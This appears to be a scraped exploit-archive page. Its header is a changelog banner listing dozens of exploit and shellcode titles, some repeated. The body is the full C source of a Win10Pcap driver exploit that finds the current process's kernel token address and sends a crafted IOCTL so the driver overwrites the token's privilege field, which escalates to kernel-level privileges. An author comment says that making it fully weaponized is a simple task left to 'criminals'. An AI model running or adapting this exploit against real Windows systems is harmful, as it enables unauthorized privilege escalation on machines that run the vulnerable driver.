
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
193 lines
No EOL
6 KiB
C
193 lines
No EOL
6 KiB
C
// Source: https://github.com/Rootkitsmm/Win10Pcap-Exploit
|
|
|
|
#include <stdio.h>
|
|
#include <tchar.h>
|
|
#include<Windows.h>
|
|
#include<stdio.h>
|
|
#include <winternl.h>
|
|
#include <intrin.h>
|
|
#include <psapi.h>
|
|
#include <strsafe.h>
|
|
#include <assert.h>
|
|
|
|
#define SL_IOCTL_GET_EVENT_NAME CTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS)
|
|
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
|
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
|
|
|
|
/* found with :
|
|
!token
|
|
1: kd> dt nt!_OBJECT_HEADER
|
|
+0x000 PointerCount : Int4B
|
|
+0x004 HandleCount : Int4B
|
|
+0x004 NextToFree : Ptr32 Void
|
|
+0x008 Lock : _EX_PUSH_LOCK
|
|
+0x00c TypeIndex : UChar
|
|
+0x00d TraceFlags : UChar
|
|
+0x00e InfoMask : UChar
|
|
+0x00f Flags : UChar
|
|
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
|
|
+0x010 QuotaBlockCharged : Ptr32 Void
|
|
+0x014 SecurityDescriptor : Ptr32 Void
|
|
+0x018 Body : _QUAD
|
|
|
|
TypeIndex is 0x5
|
|
*/
|
|
#define HANDLE_TYPE_TOKEN 0x5
|
|
|
|
|
|
// Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation
|
|
const SYSTEM_INFORMATION_CLASS SystemHandleInformation =
|
|
(SYSTEM_INFORMATION_CLASS)16;
|
|
|
|
// The NtQuerySystemInformation function and the structures that it returns
|
|
// are internal to the operating system and subject to change from one
|
|
// release of Windows to another. To maintain the compatibility of your
|
|
// application, it is better not to use the function.
|
|
typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)(
|
|
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
|
OUT PVOID SystemInformation,
|
|
IN ULONG SystemInformationLength,
|
|
OUT PULONG ReturnLength OPTIONAL
|
|
);
|
|
|
|
// Undocumented structure: SYSTEM_HANDLE_INFORMATION
|
|
typedef struct _SYSTEM_HANDLE
|
|
{
|
|
ULONG ProcessId;
|
|
UCHAR ObjectTypeNumber;
|
|
UCHAR Flags;
|
|
USHORT Handle;
|
|
PVOID Object;
|
|
ACCESS_MASK GrantedAccess;
|
|
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
|
|
|
|
typedef struct _SYSTEM_HANDLE_INFORMATION
|
|
{
|
|
ULONG NumberOfHandles;
|
|
SYSTEM_HANDLE Handles[1];
|
|
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
|
|
|
|
|
|
// Undocumented FILE_INFORMATION_CLASS: FileNameInformation
|
|
const FILE_INFORMATION_CLASS FileNameInformation =
|
|
(FILE_INFORMATION_CLASS)9;
|
|
|
|
// The NtQueryInformationFile function and the structures that it returns
|
|
// are internal to the operating system and subject to change from one
|
|
// release of Windows to another. To maintain the compatibility of your
|
|
// application, it is better not to use the function.
|
|
typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)(
|
|
IN HANDLE FileHandle,
|
|
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
|
OUT PVOID FileInformation,
|
|
IN ULONG Length,
|
|
IN FILE_INFORMATION_CLASS FileInformationClass
|
|
);
|
|
|
|
// FILE_NAME_INFORMATION contains name of queried file object.
|
|
typedef struct _FILE_NAME_INFORMATION {
|
|
ULONG FileNameLength;
|
|
WCHAR FileName[1];
|
|
} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;
|
|
|
|
|
|
void* FindTokenAddressHandles(ULONG pid)
|
|
{
|
|
/////////////////////////////////////////////////////////////////////////
|
|
// Prepare for NtQuerySystemInformation and NtQueryInformationFile.
|
|
//
|
|
|
|
// The functions have no associated import library. You must use the
|
|
// LoadLibrary and GetProcAddress functions to dynamically link to
|
|
// ntdll.dll.
|
|
|
|
HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll"));
|
|
assert(hNtDll != NULL);
|
|
|
|
PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation =
|
|
(PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,
|
|
"NtQuerySystemInformation");
|
|
assert(NtQuerySystemInformation != NULL);
|
|
|
|
|
|
/////////////////////////////////////////////////////////////////////////
|
|
// Get system handle information.
|
|
//
|
|
|
|
DWORD nSize = 4096, nReturn;
|
|
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)
|
|
HeapAlloc(GetProcessHeap(), 0, nSize);
|
|
|
|
// NtQuerySystemInformation does not return the correct required buffer
|
|
// size if the buffer passed is too small. Instead you must call the
|
|
// function while increasing the buffer size until the function no longer
|
|
// returns STATUS_INFO_LENGTH_MISMATCH.
|
|
while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo,
|
|
nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
|
|
nSize += 4096;
|
|
pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc(
|
|
GetProcessHeap(), 0, nSize);
|
|
}
|
|
|
|
for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
|
|
{
|
|
|
|
PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]);
|
|
|
|
if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN)
|
|
{
|
|
printf(" ObjectTypeNumber %d , ProcessId %d , Object %p \r\n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object);
|
|
return pHandle->Object;
|
|
}
|
|
}
|
|
|
|
/////////////////////////////////////////////////////////////////////////
|
|
// Clean up.
|
|
//
|
|
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
|
|
|
|
return 0;
|
|
}
|
|
|
|
void main()
|
|
{
|
|
DWORD dwBytesReturned;
|
|
DWORD ShellcodeFakeMemory;
|
|
HANDLE token;
|
|
|
|
|
|
// first create toke handle so find object address with handle
|
|
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token))
|
|
DebugBreak();
|
|
|
|
void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId());
|
|
|
|
CloseHandle(token);
|
|
|
|
// i dont want write fully weaponized exploit so criminal must write code to find "WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :)
|
|
HANDLE hDriver = CreateFileA("\\\\.\\WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
|
|
if(hDriver!=INVALID_HANDLE_VALUE)
|
|
{
|
|
fprintf(stderr," Open Driver OK\n");
|
|
|
|
if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL))
|
|
{
|
|
fprintf(stderr,"send IOCTL error %d.\n",GetLastError());
|
|
return;
|
|
}
|
|
else fprintf(stderr," Send IOCTL OK\n");
|
|
}
|
|
|
|
else
|
|
{
|
|
fprintf(stderr," Open Driver error %d.\n",GetLastError());
|
|
return;
|
|
}
|
|
|
|
|
|
CloseHandle(hDriver);
|
|
getchar();
|
|
|
|
} |